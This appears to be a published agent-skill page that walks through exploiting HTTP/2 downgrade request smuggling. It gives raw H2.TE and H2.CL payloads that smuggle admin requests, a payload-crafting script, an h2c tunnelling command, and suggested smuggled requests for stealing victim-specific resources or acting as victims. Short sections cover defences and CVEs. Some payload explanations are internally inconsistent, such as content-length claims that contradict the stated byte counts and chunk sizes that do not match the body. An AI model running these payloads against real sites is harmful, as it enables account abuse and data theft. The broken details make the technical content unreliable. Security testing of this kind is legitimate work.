# Http2 Request Smuggling

> How to identify and exploit HTTP/2 request smuggling vulnerabilities in downgrade scenarios. Use this skill whenever the user mentions HTTP/2, request smuggling, H2.TE, H2.CL, HTTP downgrade attacks, proxy misconfigurations, or wants to test for HTTP/2 to HTTP/1.x translation vulnerabilities. Also trigger for CVE-2023-25690, CVE-2023-25950, CVE-2022-41721, or any HTTP/2 security testing.

- Skill: `abelrguezr/http2-request-smuggling` (Agent Skill, multi-file: 5 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/http2-request-smuggling`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/http2-request-smuggling/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/http2-request-smuggling

---


# HTTP/2 Request Smuggling Skill

This skill helps you identify and exploit request smuggling vulnerabilities that occur when HTTP/2 front-ends downgrade requests to HTTP/1.x back-ends.

## When to Use This Skill

Use this skill when:
- Testing web applications for HTTP/2 request smuggling vulnerabilities
- Investigating proxy misconfigurations between HTTP/2 and HTTP/1.x
- Analyzing CVE-2023-25690, CVE-2023-25950, or CVE-2022-41721
- Needing to craft H2.TE or H2.CL attack payloads
- Checking for HTTP/2 downgrade chains in target infrastructure
- Testing h2c (clear-text HTTP/2) upgrade vulnerabilities

## Core Concepts

### Why Downgrades Create Vulnerabilities

HTTP/2 is immune to classic request smuggling because DATA frame lengths are explicit. However, when a front-end proxy terminates HTTP/2 and rewrites requests as HTTP/1.1 for legacy back-ends, the translation step creates desync opportunities:

1. Front-end trusts HTTP/2 frame length
2. Back-end trusts `Content-Length` or `Transfer-Encoding: chunked`
3. Attacker forces disagreement between parsers

### Two Attack Variants

| Variant | Front-end Length | Back-end Length | Attack Pattern |
|---------|-----------------|-----------------|----------------|
| **H2.TE** | HTTP/2 frame | `Transfer-Encoding: chunked` | Embed extra chunked body; back-end waits for attacker's "next" request |
| **H2.CL** | HTTP/2 frame | `Content-Length` | Send smaller CL than real body; back-end reads into following request |

## Identification Workflow

### Step 1: Verify HTTP/2 Support

Check if the target edge speaks HTTP/2:

```bash
# Using curl
curl -v --http2 https://target
# Look for "* Using HTTP2" in output

# Using openssl
openssl s_client -alpn h2 -connect target:443
# Check for ALPN protocol negotiation
```

### Step 2: Confirm Downgrade Chain

Send a malformed CL/TE request over HTTP/2. If you receive an HTTP/1.1 error like `400 Bad chunk`, the edge is converting traffic for an HTTP/1 parser downstream.

Use the `check_downgrade.sh` script to automate this:

```bash
./scripts/check_downgrade.sh https://target
```

### Step 3: Identify Variant

- **H2.TE**: Back-end trusts `Transfer-Encoding: chunked`
- **H2.CL**: Back-end trusts `Content-Length`

## Exploitation Workflow

### H2.TE Attack Pattern

```http
:method: POST
:path: /login
:scheme: https
:authority: example.com
content-length: 13      # ignored by edge
transfer-encoding: chunked

5;ext=1\r\nHELLO\r\n
0\r\n\r\nGET /admin HTTP/1.1\r\nHost: internal\r\nX: X
```

**How it works:**
1. Front-end reads exactly 13 bytes (`HELLO\r\n0\r\n\r\nGE`), thinks request is finished
2. Back-end trusts TE header, keeps reading until second `0\r\n\r\n`
3. Back-end consumes prefix of attacker's second request (`GET /admin ...`)
4. Remainder is treated as new request queued behind victim's

### H2.CL Attack Pattern

```http
:method: POST
:path: /login
:scheme: https
:authority: example.com
content-length: 5       # smaller than real body
transfer-encoding: chunked

10\r\n
HELLO WORLD\r\n
0\r\n\r\nGET /admin HTTP/1.1\r\nHost: internal\r\nX: X
```

**How it works:**
1. Front-end reads HTTP/2 frame length
2. Back-end reads only 5 bytes per CL header
3. Back-end reads past boundary into following request
4. Smuggled request executes in victim's context

### Crafting Payloads

Use the `craft_payload.sh` script to generate attack payloads:

```bash
# H2.TE payload
./scripts/craft_payload.sh h2-te "GET /admin HTTP/1.1\r\nHost: target\r\n\r\n"

# H2.CL payload  
./scripts/craft_payload.sh h2-cl "POST /api/logout HTTP/1.1\r\nHost: target\r\n\r\n"
```

### Common Smuggled Requests

Replace the smuggled request with:
- `POST /api/logout` - Force session fixation
- `GET /users/1234` - Steal victim-specific resources
- `GET /admin` - Access restricted areas
- `POST /api/action` - Execute actions as victim

## h2c Smuggling (Clear-Text Upgrades)

A 2023 discovery showed that if a front-end passes `Upgrade: h2c` to a back-end supporting clear-text HTTP/2, attackers can tunnel raw HTTP/2 frames through edges that only validated HTTP/1.1.

**Requirements:**
- Edge forwards both `Connection: Upgrade` and `Upgrade: h2c` unchanged
- Origin upgrades to HTTP/2 and keeps connection-reuse semantics

**Test with:**
```bash
python3 h2csmuggler.py -u https://target -x 'GET /admin HTTP/1.1\r\nHost: target\r\n\r\n'
```

**Mitigation:** Strip or hard-code the `Upgrade` header at the edge except for WebSockets.

## Tooling

### Burp Request Smuggler
Since v1.26, automatically tests H2.TE/H2.CL and hidden ALPN support. Enable "HTTP/2 probing" in extension options.

### Manual Testing
```bash
# Using curl with HTTP/2
curl --http2-prior-knowledge -X POST --data-binary @payload.raw https://target

# Using hyper (Rust HTTP client)
hyper --http2 -X POST -d @payload.raw https://target
```

## Defensive Measures

1. **End-to-end HTTP/2** - Eliminate downgrade translation completely
2. **Single source of length truth** - When downgrading, always generate valid `Content-Length` and strip user-supplied `Content-Length`/`Transfer-Encoding` headers
3. **Normalize before route** - Apply header sanitization before routing/rewrite logic
4. **Connection isolation** - Do not reuse back-end TCP connections across users; "one request per connection" defeats queue-based exploits
5. **Strip `Upgrade` unless WebSocket** - Prevents h2c tunneling

## Notable CVEs

- **CVE-2023-25690** - Apache HTTP Server mod_proxy rewrite rules could be chained for request splitting and smuggling (fixed in 2.4.56)
- **CVE-2023-25950** - HAProxy 2.7/2.6 request/response smuggling when HTX parser mishandled pipelined requests
- **CVE-2022-41721** - Go `MaxBytesHandler` caused left-over body bytes to be parsed as HTTP/2 frames, enabling cross-protocol smuggling

## References

- PortSwigger Research - "HTTP/2: The Sequel is Always Worse" - https://portswigger.net/research/http2
- Bishop Fox - "h2c Smuggling: request smuggling via HTTP/2 clear-text" - https://bishopfox.com/blog/h2c-smuggling-request

